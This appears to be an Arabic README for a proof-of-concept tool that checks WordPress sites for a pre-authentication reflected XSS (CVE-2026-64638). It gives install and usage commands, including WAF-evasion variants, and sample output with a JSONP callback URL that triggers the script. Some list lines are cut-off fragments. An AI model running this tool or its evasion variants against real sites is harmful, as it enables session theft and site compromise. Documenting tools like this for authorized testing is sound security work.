
يتحقق من XSS المنعكس قبل المصادقة في WordPress، ويبصم الإصدارات المعرضة للخطر، ويفحص انعكاس الحمولة وJSONP، ويُنشئ ملفات إثبات المفهوم (PoC) بصيغتي HTML وcurl.
أداة إثبات مفهوم (PoC) للتحقق من صحة CVE-2026-64638، وهي ثغرة Cross-Site Scripting (XSS) انعكاسية قبل المصادقة تؤثر على تثبيتات WordPress (الإصدارات 6.4 – 7.0.2).
تقوم هذه الأداة بأتمتة عملية تحديد البصمة والتحقق من الصحة وإنشاء إثبات مفهوم لـ CVE-2026-64638. وتؤكد بأمان ما إذا كان تثبيت WordPress المستهدف عرضة لثغرة XSS الانعكاسية قبل المصادقة دون نشر حمولات خبيثة. وإذا تم تأكيد أن الهدف عرضة للثغرة، فيمكنها إنشاء إثبات مفهوم بصيغة HTML لاختبارات الأمان المصرح بها ولإدراجه في تقارير برامج مكافآت الثغرات.
standard، envelope، waf) لاختبار سيناريوهات تصفية مختلفة.readme.html، أو معاملات السكربتات المضمّنة.wp-login.php قابل للوصول وفعّال.wp-login.php ويتحقق مما إذا كانت عناصر DOM المطلوبة (مثل ajaxurl، color-picker) تنجو من التعقيم في الاستجابة.requests>=2.31.0، urllib3استنسخ المستودع وثبّت التبعيات المطلوبة:
git clone https://github.com/eh-amish/xss2shell-poc.git
cd xss2shell-poc
pip install -r requirements.txt
لا تتطلب هذه الأداة أي متغيرات بيئة أو ملفات إعداد معقدة. يتم تمرير جميع المعاملات مباشرة عبر وسائط سطر الأوامر.
شغّل الأداة باستخدام Python 3 ضد هدف مُصرّح به.
python3 xss2shell_poc.py -t https://target.com --check-only
python3 xss2shell_poc.py -t https://target.com
إذا تم حظر الحمولة القياسية بواسطة WAF أو أعادت نقطة نهاية REST رمز HTTP 401، فجرّب المتغيرات البديلة:
python3 xss2shell_poc.py -t https://target.com --variant waf
python3 xss2shell_poc.py -t https://target.com --variant envelope
python3 xss2shell_poc.py -t https://target.com -o custom_poc.html
.
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── requirements.txt
└── xss2shell_poc.py
Target : https://target.com
Variant : standard
Mode : Full PoC
[>] Phase 1 — WordPress Version Fingerprint
[+] WordPress 7.0.2 — VULNERABLE (6.4 – 7.0.2)
[>] Phase 2 — Confirm Login Page
[+] wp-login.php reachable (HTTP 200)
[>] Phase 3 — Testing XSS Payload (variant: standard)
[+] XSS PAYLOAD SURVIVED SANITIZATION!
[+] Injected DOM elements found in response: ['id="ajaxurl"', 'id="color-picker"']
[>] Phase 4 — REST API JSONP Callback Check
[+] REST JSONP callback works: https://target.com/?rest_route=/&_method=GET&_jsonp=testcb
[+] jQuery will evaluate response as script → XSS fires automatically
يحتوي هذا المستودع على أدوات اختبار متعلقة بالأمان. يُرجى الرجوع إلى SECURITY.md للاطلاع على سياسة الإفصاح المسؤول ومتطلبات الاستخدام المصرّح به.
نرحّب بالمساهمات المهنية! يُرجى الاطلاع على CONTRIBUTING.md للحصول على تفاصيل حول سير عملنا ومعايير جودة الشيفرة وإرشادات تقديم المساهمات.
هذا المشروع مرخّص بموجب MIT License.
مخصّص للاستخدام المصرّح به فقط. يُقدَّم هذا المشروع حصريًا لأغراض اختبار الاختراق المصرّح به، والبحث الأمني، وبرامج مكافآت الثغرات (bug bounty) حيث تم منح إذن صريح ومكتوب من مالك النظام. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو لا تملك إذنًا باختبارها. المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه البرمجيات.